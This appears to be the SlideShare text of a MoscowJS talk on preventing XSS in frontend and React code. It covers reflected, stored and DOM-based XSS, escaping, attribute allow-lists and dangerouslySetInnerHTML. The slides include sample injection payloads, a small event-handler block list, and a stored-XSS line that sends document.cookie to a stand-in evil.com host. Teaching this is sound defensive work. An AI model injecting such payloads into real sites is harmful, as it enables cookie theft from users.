SlideShare a Scribd company logo
APPROACHAPPROACH
TO WRITING SECURE FRONTEND INTO WRITING SECURE FRONTEND IN
CONTEXT OF REACTCONTEXT OF REACT
Ivan Elkin
Application Security Expert,
Qiwi
PLANPLAN
1. Client Side vulnerabilities
2. Prevention of vulners
3. Prevention of vulners in ReactJS
1
CLIENT SIDE VULNERABILITIESCLIENT SIDE VULNERABILITIES
Is a lack of client-side logic or code which
provides an attack vector which affects the
end user
(in browser context )
2
and the main pain is...
XSSXSS
3
3
1"><script>alert(
'HACKED!')
XSSXSS (CROSS SITE SCRIPTING)(CROSS SITE SCRIPTING)
In a common cases is a type of WEB-attack where
malicious code
injected in a client-side code
4
XSS TYPESXSS TYPES
Reflected
Stored
DOM-based
5
REFLECTED XSSREFLECTED XSS
Attack injection when malicious code has been
injected
after single HTTP request
6
REFLECTED XSSREFLECTED XSS
onResponse: function(response) {
var url = document.location;
var username = getQueryParam(url, 'username');
var tpl = '<span>Hello {{username}} !</span>';
document.write(tpl.replace(/{{username}}/, username));
}
http://socialnetwork.com/UserSearch?query=asd%22%3Cscript%3Ealert(1)%3C/script%3E
7
<span> Hello <script>alert(1)</script> !</span>
REFLECTED XSSREFLECTED XSS
8
$.get('/search?query=' + query) {
success: function(user) {
$('.search-list')
.append('<div>username: ' + data.user.name + '</div>')
.append('<div>username: ' + data.user.email + '</div>')
}
failure: function(error) {
$('.search-list')
.html('<div>There is nothing found for query: ' + error.query + '</div>');
}
}
REFLECTED XSSREFLECTED XSS
9
<div>There is nothing found for query: asdasdasd"<script>alert(1)</script></div>
.html('<div>There is nothing found for query: ' + error.query + '</div>');
REFLECTED XSSREFLECTED XSS
10
?query=asdasdasd"<script>alert(1)</script>
so, if part of HTML has been injected
into your code...
REFLECTED XSSREFLECTED XSS
11
STORED XSSSTORED XSS
Attack injection, where malicious code has
been stored on server in advance
12
STORED XSSSTORED XSS
13
<script type="text/javascript">
$.get('user_list', function(data) {
var data = JSON.parse(data);
$.each(data, function(key, user) {
$('.list-group').append(
'<div class="user">' +
'<div class="name">' + user.name + '</div>' +
'<div class="title">' + user.email + '</div>' +
'</div>'
);
});
});
</script>
STORED XSSSTORED XSS
14
STORED XSSSTORED XSS
15
STORED XSSSTORED XSS
16
<div class="name">
Jane<script>$.get('//evil.com/'+document.cookie)</script>
</div>
STORED XSSSTORED XSS
Samy...
17
MySpace...
... about 1 million friends in 20
hours
DOM-BASED XSSDOM-BASED XSS
Unlike Reflected and Stored XSS, can
work without interaction with the server
18
DOM-BASED XSSDOM-BASED XSS
19
http://bank.com/payment?backUrl=http://market.com
$(document).ready(function() {
$('#btn-back').attr('href', getURLParameterByName('backUrl'))
});
DOM-BASED XSSDOM-BASED XSS
20
<a id="btn-back" href="&quot;&lt;script&gt;alert(1)&lt;/script&gt;">Back to Shop</a>
DOM-BASED XSSDOM-BASED XSS
http://bank.com/payment?backUrl="><script>alert(1)</script>
&quot;&lt;script&gt;alert(1)&lt;/script&gt;
21
$('#btn-back').attr('href', getURLParameterByName('backUrl'))
but we have one more case....
http://bank.com/payment?backUrl=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ')
"<script>alert(1)</script>"
DOM-BASED XSSDOM-BASED XSS
Base64
22
<a id="btn-back" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Back to Shop
</a>
HOW TO PROTECT MY SITE?HOW TO PROTECT MY SITE?
Escaping HTML
Escaping Attributes
Escaping JS data
Escaping JSON data
Escaping CSS data
23
ESCAPINGESCAPING
& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2F;
24
SAFE TEMPLATINGSAFE TEMPLATING
<div class="json-data">
<%= data.to_json %>;
</div>
btw, be careful !
25
{"user": {
"name": "Jane",
"email": "jane@somemail.ru",
"title": "someone <a href='evil.com'>you</a> know",
"mobilePhone": "5123354456"
}}
<div class="json-data">
{"user": {
"name": "Jane",
"email": "jane@somemail.ru",
"title": "someone <a href='evil.com'>you</a> know",
"mobilePhone": "5123354456"
}}
</div>
<div class="avatar">
<img alt= onerror=alert(1) src=>
</div>
DETECT KEYWORDSDETECT KEYWORDS
<div class="avatar">
<img alt={{avatar.name}} src={{avatar.image}}>
</div>
avatar: {
name: ' onerror=alert(1)'
image: ''
}
avatar: {
name: 'Me in Italy'
image: '/images/aajkdshf2347jk/avatar.jpg'
}
Handlebars, XTemplate and others... 26
DETECT KEYWORDSDETECT KEYWORDS
var forbidden = [
'onerror',
'onmouseover',
'onclick'
];
if (attribute in forbidden) {
return false;
}
What about onblur, onchange,
onselect, etc. ?
Black Lists
27
var allowed = [
'title',
'class',
'hidden',
....
];
if (attribute in allowed) {
add(attribute);
}
BE ON A WHITE SIDEBE ON A WHITE SIDE
28
REACT-JSREACT-JS
one more JS framework...
...but it uses .jsx
29
REACT-JSREACT-JS
componentDidMount: function() {
this.setState({
data: 'A long time ago in a galaxy far,<br/> far away...'
})
},
render: function () {
return (
<Article className="article">
{this.state.data}
</Article>
);
}
30
REACT-JSREACT-JS
31
REACT-JSREACT-JS
<div class="article" data-reactid=".0">
A long time ago in a galaxy far,&lt;br&gt; far away...
</div>
32
REACT-JSREACT-JS
dangerouslySetInnerHTML
Improper use of the innerHTMLcan open you up to a
attack. Sanitizing user input for display is notoriously error-prone, and failure to properly sanitize is one
of the on the internet.
cross-site scripting
(XSS)
leading causes of web vulnerabilities
Google told me:
33
FACEBOOK TELLSFACEBOOK TELLS
function createMarkup() {
return {
__html: 'First <br/> Second'
};
};
<div dangerouslySetInnerHTML={createMarkup()} />
34
WAT !? 0_o
WHAT IS UNDER THEWHAT IS UNDER THE HOOD ?HOOD ?
35
First of all, what innerHTML is ?
w3c
returns a serialization of the node's children
using the HTML syntax
REACT-JSREACT-JS
/**
* @param {DOMElement} node
* @param {string} html
* @internal
*/
var setInnerHTML = function(node, html) {
node.innerHTML = html;
};
36
...
if(props.dangerouslySetInnerHTML != null)
...
ReactDOMComponent.js
setInnerHTML.js
REACT-JSREACT-JS
/**
* @param {DOMElement} node
* @param {string} text
* @internal
*/
var setTextContent = function(node, text) {
node.textContent = text;
};
otherwise...
w3c
returns the text content of this node and
its descendants...
< == &lt; > == &gt; 37
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
38
One more thing which surprised
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
<div data-reactid=".0">
My data
</div>
render: function () {
return (
;
}
<div class="article text-header text-bold"
onmouseenter={this.fadeIn}
onmouseleave={this.fadeOut}>
{this.state.data}
</div>
)
WAT !? 0_o
39
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
SUPPORTED ATTRIBUTESSUPPORTED ATTRIBUTES
React supports all data-* and aria-* attributes as well as every attribute in the following lists.
“ Note:
All attributes are camel-cased and the attributes class and for are
className and htmlFor, respectively, to match the DOM API specification.
40
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
var HTMLDOMPropertyConfig = {
isCustomAttribute: RegExp.prototype.test.bind(
/^(data|aria)-[a-z_][a-zd_.-]*$/
),
Properties: {
/**
* Standard Properties
*/
accept: null,
acceptCharset: null,
accessKey: null,
action: null,
allowFullScreen: MUST_USE_ATTRIBUTE | HAS_BOOLEAN_VALUE,
allowTransparency: MUST_USE_ATTRIBUTE,
alt: null,
async: HAS_BOOLEAN_VALUE,
autoComplete: null,
// autoFocus is polyfilled/normalized by AutoFocusMixin
// autoFocus: HAS_BOOLEAN_VALUE,
autoPlay: HAS_BOOLEAN_VALUE,
cellPadding: null,
cellSpacing: null,
charSet: MUST_USE_ATTRIBUTE,
checked: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE,
classID: MUST_USE_ATTRIBUTE, 41
REACT-JS SEVERAL SIMPLE RULESREACT-JS SEVERAL SIMPLE RULES
Use safe user input by default
Use unsafe input only for special forms​
Allow only known attributes
Doesn't allow inline attribute data
<div>
Hello, {{user.name}}
</div>
<img src={{user.imgSrc}} alt={{user.title}} />
<div>
Hello, <script>alert('you`ve been hacked')</script>
</div>
<img src='' alt= newChromeParam=alert('You`ve been Hacked!')/>
<EndFrame onQuestions={this.doAnswer}>
<Title>
Thanx for your attention!
</Title>
</EndFrame>

More Related Content

PDF
PDF
Web Security Horror Stories
PPT
Front end-security
PDF
Building Advanced XSS Vectors
PDF
CONFidence 2017: Hacking Card Emulation - how to clone any Android HCE contac...
PDF
Web Application Security
PDF
Google chrome presentation
PPTX
XSS: From alert(1) to crypto mining malware
Web Security Horror Stories
Front end-security
Building Advanced XSS Vectors
CONFidence 2017: Hacking Card Emulation - how to clone any Android HCE contac...
Web Application Security
Google chrome presentation
XSS: From alert(1) to crypto mining malware

What's hot (16)

KEY
HTML5 Web Messaging
PPTX
Token Based Authentication Systems with AngularJS & NodeJS
PPTX
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
ODP
MQTT and Java - Client and Broker Examples
PDF
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
PDF
PHP Experience 2016 - [Palestra] Json Web Token (JWT)
PPTX
Building Secure User Interfaces With JWTs
PDF
Persona: in your browsers, killing your passwords
PPTX
Security in NodeJS applications
PPTX
Esquema de pasos de ejecución IdM
PDF
Killing Passwords with JavaScript
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PPTX
Secure Coding for NodeJS
PPTX
Hack ASP.NET website
PDF
How to get rid of terraform plan diffs
HTML5 Web Messaging
Token Based Authentication Systems with AngularJS & NodeJS
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
MQTT and Java - Client and Broker Examples
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
PHP Experience 2016 - [Palestra] Json Web Token (JWT)
Building Secure User Interfaces With JWTs
Persona: in your browsers, killing your passwords
Security in NodeJS applications
Esquema de pasos de ejecución IdM
Killing Passwords with JavaScript
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Secure Coding for NodeJS
Hack ASP.NET website
How to get rid of terraform plan diffs
Ad

Similar to "Подход к написанию безопасного клиентского кода на примере React", Иван Елкин, MoscowJS 25 (20)

PDF
Complete xss walkthrough
PDF
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
PDF
Null 14 may_lesser_known_attacks_by_ninadsarang
PPT
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
PDF
ClubHack Magazine issue April 2012
PDF
Introduction to Cross Site Scripting ( XSS )
PPTX
Web Application Security in front end
PDF
How to write clean & testable code without losing your mind
PDF
Waf.js: How to Protect Web Applications using JavaScript
PDF
PHP Secure Programming
PDF
xss-100908063522-phpapp02.pdf
PPT
PHPUG Presentation
PDF
ng-owasp: OWASP Top 10 for AngularJS Applications
PPT
XSS - Attacks & Defense
PPT
JS-Lecture Lecture PPT contains Control Structures DOM
PPT
Lecture 4.javascriptpractcieandtheoryppt
PDF
Revealing Unique MitB Builder C&C Server
PPT
Introduction to java script Lecture 4.ppt
PPT
Javascript for beggineers Lecture 4 (1).ppt
PPT
Introduction to Scripting programming Language.
Complete xss walkthrough
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null 14 may_lesser_known_attacks_by_ninadsarang
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
ClubHack Magazine issue April 2012
Introduction to Cross Site Scripting ( XSS )
Web Application Security in front end
How to write clean & testable code without losing your mind
Waf.js: How to Protect Web Applications using JavaScript
PHP Secure Programming
xss-100908063522-phpapp02.pdf
PHPUG Presentation
ng-owasp: OWASP Top 10 for AngularJS Applications
XSS - Attacks & Defense
JS-Lecture Lecture PPT contains Control Structures DOM
Lecture 4.javascriptpractcieandtheoryppt
Revealing Unique MitB Builder C&C Server
Introduction to java script Lecture 4.ppt
Javascript for beggineers Lecture 4 (1).ppt
Introduction to Scripting programming Language.
Ad

More from MoscowJS (20)

PDF
Александр Русаков - TypeScript 2 in action
PDF
Виктор Розаев - Как не сломать обратную совместимость в Public API
PDF
Favicon на стероидах
PDF
E2E-тестирование мобильных приложений
PDF
Reliable DOM testing with browser-monkey
PDF
Basis.js - Production Ready SPA Framework
PDF
Контекст в React, Николай Надоричев, MoscowJS 31
PDF
Верстка Canvas, Алексей Охрименко, MoscowJS 31
PDF
Веб без интернет соединения, Михаил Дунаев, MoscowJS 31
PDF
Angular2 Change Detection, Тимофей Яценко, MoscowJS 31
PDF
Создание WYSIWIG-редакторов для веба, Егор Яковишен, Setka, MoscowJs 33
PDF
Предсказуемый Viewport, Вопиловский Константин, KamaGames Studio, MoscowJs 33
PDF
Promise me an Image... Антон Корзунов, Яндекс, MoscowJs 33
PDF
Регрессионное тестирование на lenta.ru, Кондратенко Павел, Rambler&Co, Moscow...
PDF
"Опыт разработки универсальной библиотеки визуальных компонентов в HeadHunter...
PDF
"Во все тяжкие с responsive images", Павел Померанцев, MoscowJS 29
PDF
"AMP - технология на три буквы", Макс Фролов, MoscowJS 29
PDF
"Observable и Computed на пример KnockoutJS", Ольга Кобец, MoscowJS 29
PDF
«Пиринговый веб на JavaScript», Денис Глазков, MoscowJS 28
PDF
"Доклад не про React", Антон Виноградов, MoscowJS 27
Александр Русаков - TypeScript 2 in action
Виктор Розаев - Как не сломать обратную совместимость в Public API
Favicon на стероидах
E2E-тестирование мобильных приложений
Reliable DOM testing with browser-monkey
Basis.js - Production Ready SPA Framework
Контекст в React, Николай Надоричев, MoscowJS 31
Верстка Canvas, Алексей Охрименко, MoscowJS 31
Веб без интернет соединения, Михаил Дунаев, MoscowJS 31
Angular2 Change Detection, Тимофей Яценко, MoscowJS 31
Создание WYSIWIG-редакторов для веба, Егор Яковишен, Setka, MoscowJs 33
Предсказуемый Viewport, Вопиловский Константин, KamaGames Studio, MoscowJs 33
Promise me an Image... Антон Корзунов, Яндекс, MoscowJs 33
Регрессионное тестирование на lenta.ru, Кондратенко Павел, Rambler&Co, Moscow...
"Опыт разработки универсальной библиотеки визуальных компонентов в HeadHunter...
"Во все тяжкие с responsive images", Павел Померанцев, MoscowJS 29
"AMP - технология на три буквы", Макс Фролов, MoscowJS 29
"Observable и Computed на пример KnockoutJS", Ольга Кобец, MoscowJS 29
«Пиринговый веб на JavaScript», Денис Глазков, MoscowJS 28
"Доклад не про React", Антон Виноградов, MoscowJS 27

Recently uploaded (20)

PDF
Odoo Companies in India – Driving Business Transformation.pdf
PPTX
Transform Your Business with a Software ERP System
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PPTX
ai tools demonstartion for schools and inter college
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
PDF
Nekopoi APK 2025 free lastest update
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
PTS Company Brochure 2025 (1).pdf.......
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PDF
medical staffing services at VALiNTRY
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PPTX
Operating system designcfffgfgggggggvggggggggg
PPTX
L1 - Introduction to python Backend.pptx
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
PPTX
Reimagine Home Health with the Power of Agentic AI​
PPTX
history of c programming in notes for students .pptx
Odoo Companies in India – Driving Business Transformation.pdf
Transform Your Business with a Software ERP System
VVF-Customer-Presentation2025-Ver1.9.pptx
Upgrade and Innovation Strategies for SAP ERP Customers
ai tools demonstartion for schools and inter college
Which alternative to Crystal Reports is best for small or large businesses.pdf
Nekopoi APK 2025 free lastest update
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
Navsoft: AI-Powered Business Solutions & Custom Software Development
PTS Company Brochure 2025 (1).pdf.......
wealthsignaloriginal-com-DS-text-... (1).pdf
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
medical staffing services at VALiNTRY
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Operating system designcfffgfgggggggvggggggggg
L1 - Introduction to python Backend.pptx
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
How to Choose the Right IT Partner for Your Business in Malaysia
Reimagine Home Health with the Power of Agentic AI​
history of c programming in notes for students .pptx

"Подход к написанию безопасного клиентского кода на примере React", Иван Елкин, MoscowJS 25